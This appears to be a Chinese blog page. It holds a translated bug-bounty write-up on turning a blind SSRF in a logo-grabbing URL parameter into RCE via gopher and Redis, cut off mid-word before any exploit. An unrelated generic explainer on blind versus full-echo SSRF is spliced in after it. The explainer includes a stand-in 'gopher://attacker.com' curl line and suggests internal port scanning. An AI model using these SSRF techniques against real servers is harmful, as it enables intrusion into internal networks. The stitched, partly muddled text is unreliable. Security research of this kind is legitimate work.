翻译文章 | Just gopher it!无回显SSRF升级为RCE

本文讲述了作者如何在一个大型bug赏金活动中发现并利用一个无回显SSRF漏洞,通过Gopher协议和302重定向最终实现RCE的过程。在侦查阶段,作者发现一个返回URL信息的GET请求,通过测试发现可以访问到内部子域名。在尝试升级SSRF时,利用Gopher协议和内部开放的Redis服务,成功构造了反向shell,最终获得了远程代码执行权限。

前言:

发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。

我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。

毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。

第1部分:侦察

通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。

因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。

由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。

在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:

GET /xxx/logoGrabber?url= [http://example.com][0]

Host: site.example.com

一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:

{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。

第2部分:发现SSRF

我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。

在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。

最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。

子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecor

### SSRF无回显与全回显的区别及利用方式 #### 一、SSRF无回显的特点及其利用方式 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的安全漏洞,允许攻击者通过应用程序发送恶意构造的请求到内部或外部目标。对于无回显的情况: - **定义** 无回显意味着攻击者的请求不会直接返回任何响应数据给客户端。这种类型的SSRF通常依赖于间接反馈机制来确认其效果[^4]。 - **特点** - 不会显示具体的错误消息或者详细的页面内容。 - 可能仅提供简单的状态码(如200 OK),甚至没有任何明确的结果指示。 - **利用方式** - 使用DNS记录监控技术检测是否有来自受害系统的查询行为。例如,可以通过设置一个特殊的子域名指向自己的日志收集器,并观察该名称是否被解析过。 - 利用`gopher`协议或其他类似的伪协议实现更复杂的操作,比如读取文件系统中的敏感信息或将命令注入到后台进程中[^3]。 ```bash curl 'gopher://attacker.com/...' ``` #### 二、SSRF全回显的特点及其利用方式 相比之下,全回显提供了更为丰富的交互体验: - **定义** 当发生全回显时,服务器不仅完成了指定的操作还会把完整的应答包转发回来供用户查看。这使得分析过程更加直观简单[^2]。 - **特点** - 返回的数据量较大,可能包括但不限于HTML源代码、API接口调用结果以及各种元数据标签等。 - 更容易判断是否存在特定条件下的异常状况,便于调试和验证假设成立与否。 - **利用方式** - 获取目标网络架构内的隐藏服务地址列表,进而寻找潜在的安全隐患点。 - 测试跨域资源共享策略(CORS),尝试绕过同源限制访问受限资源。 ```javascript fetch('http://internal-service/api/data') .then(response => response.json()) .then(data => console.log(data)); ``` - 枚举内网IP范围并扫描开放端口情况,绘制出一幅清晰的地图用于后续渗透测试活动开展。 #### 总结对比表 | 特性 | 无回显 | 全回显 | |--------------|---------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| | 数据可见度 | 非常低;需借助第三方工具辅助判定 | 较高;可以直接看到大部分原始回应 | | 复杂程度 | 中等到高等次 | 相对较低 | | 常见应用场景 | DNS预览、基于时间延迟猜测数据库版本号 | 文件下载上传界面抓取、配置管理平台参数泄露 |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值